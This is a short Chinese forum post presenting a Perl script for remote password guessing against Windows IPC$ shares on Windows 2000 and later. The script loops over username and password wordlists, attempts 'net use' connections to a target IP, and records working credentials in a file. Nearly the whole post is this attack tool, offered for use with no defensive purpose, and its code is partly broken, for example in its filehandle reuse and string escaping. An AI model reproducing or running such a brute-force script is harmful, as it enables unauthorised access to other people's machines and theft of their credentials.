0
回答
用perl调用系统命令来实现IPC$远程猜解

用perl调用系统命令来实现IPC$远程猜解,适合win2k以上的系统。

#usr/bin/perl -w

print "请输入要猜解的IP:";
$host=<STDIN>;
chop($host);
$file1="NT_USER";
$file2="NT_PASS";
open(FILE,"user.txt")||die "$file1文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@user=<FILE>){
foreach $name(@user){
chomp($name);
open(FILE,"pass.txt")||die "$file2文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@pass=<FILE>){
foreach $password(@pass){
chop($password);
print ("正在尝试  Name=$name   Pass=$password   "); #从这里往上不要我解释了吧
print "net use \\$host\ipc$ $password /user:$name";
$check=`"net use \\$host\ipc$ $password /user:$name"`; #调用perl函数,执行系统命令
if($check) { #判断连接是否成功
print "--------连接成功!!\n";
system ("net use \\$host\ipc$ /del"); #成功连接后就删除连接,并打开文件写入
open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n";
print H "主机$host  用户名:$name 密码:$password \n";
close H;
}
print "\n";
}
}
}
}
print "结果已写入ipcscan.txt文件请查看\n";

举报
范堡
发帖于9年前 0回/641阅
顶部